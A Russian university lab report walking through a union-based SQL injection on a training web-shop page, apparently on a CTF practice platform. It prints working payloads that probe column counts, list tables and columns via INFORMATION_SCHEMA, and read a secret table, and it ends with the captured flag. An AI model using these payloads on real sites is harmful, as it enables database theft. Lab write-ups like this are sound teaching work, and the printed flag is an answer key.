lab (5)
.docxМИНОБРНАУКИ РОССИИ
Санкт-Петербургский государственный
электротехнический университет
«ЛЭТИ» им. В.И. Ульянова (Ленина)
Кафедра информационной безопасности
ПрактическаЯ РАБОТА №5
по дисциплине «Угрозы и уязвимости информационной безопасности компьютерных сетей»
Тема: SQL-injection Union-based.
Студент гр. _________________
Преподаватель _________________ Фаткиева Р.Р.
Санкт-Петербург
2026
В самом начале пользователь попадает на страницу некого интернет-магазина (рисунок 1)
Рисунок 1. Стартовый экран
Теперь же необходимо заполнить данные для заказа и сохранить ее (рисунок 2)
Рисунок 2. Заполнение формы
Теперь же введем ссылку, дополнив ее SQL запросом и перейдем по ней.:
orderID=1%20UNION%20SELECT%20%201,2,3,4,5,6--%20-
Рисунок 3. Ответ сервера
Сервер ответил
The used SELECT statements have a different number of columns in /var/www/html/receipt.php:17
Это значит, что таблица действительно существует, но имеет иное количество столбцов.
При изменении обращения к таблице на такое, что можно «вытащить» название столбца под номером 5, можно действительно увидеть его название:
?orderID=-1%20UNION%20SELECT%201,2,3,4,TABLE_NAME,6,7,8%20FROM%20INFORMATION_SCHEMA.tables%20--%20-
Рисунок 4. Название столбца в поле комментариев
Если же сделать запрос таким образом, чтобы можно было вывести информацию, в данном случае названия, о всех таблицах, которые есть в базе
Запрос: ?orderID=-1%20UNION%20SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME,%20%27-%27),6,7,8%20FROM INFORMATION_SCHEMA.tables%20--%20-
Рисунок 5. Информация о таблицах.
Среди названий всех таблиц можно увидеть некую «super_secret_table», в которой, вероятнее всего, находится искомый флаг.
Далее необходимо обратиться к данной «секретной» таблице, чтобы узнать названия столбцов в ней. Исправь запрос следующим образом:
?orderID=-1%20UNION%20SELECT%201,2,3,4,GROUP_CONCAT (COLUMN_NAME,%20%27-%27),6,7,8%20FROM% INFORMATION_SCHEMA.columns%20WHERE%20table_name=%27super_secret_table%27%20--%20-
Рисунок 6. Название столбцов секретной таблицы
Зная названия нужного столбца, необходимо просто обратиться к нему, чтобы получить нужные данные:
?orderID=-1%20UNION%20SELECT%201,2,3,4,super_secret_column,6,7,8%20FROM%20super_secret_table%20--%20-
Рисунок 7. Флаг найден
Искомый флаг: 2c16b1c6a40ffd585faf8caddad2bb40
Рисунок 8. Успех
Список использованных источников
Информация с сайта. URL: https://labs.cyber-ed.ru/group/38/task/19/ (дата обращения 22.04.2026)
Информация с сайта. URL: https://stepik.org/lesson/1104693/ (дата обращения 22.04.2026)
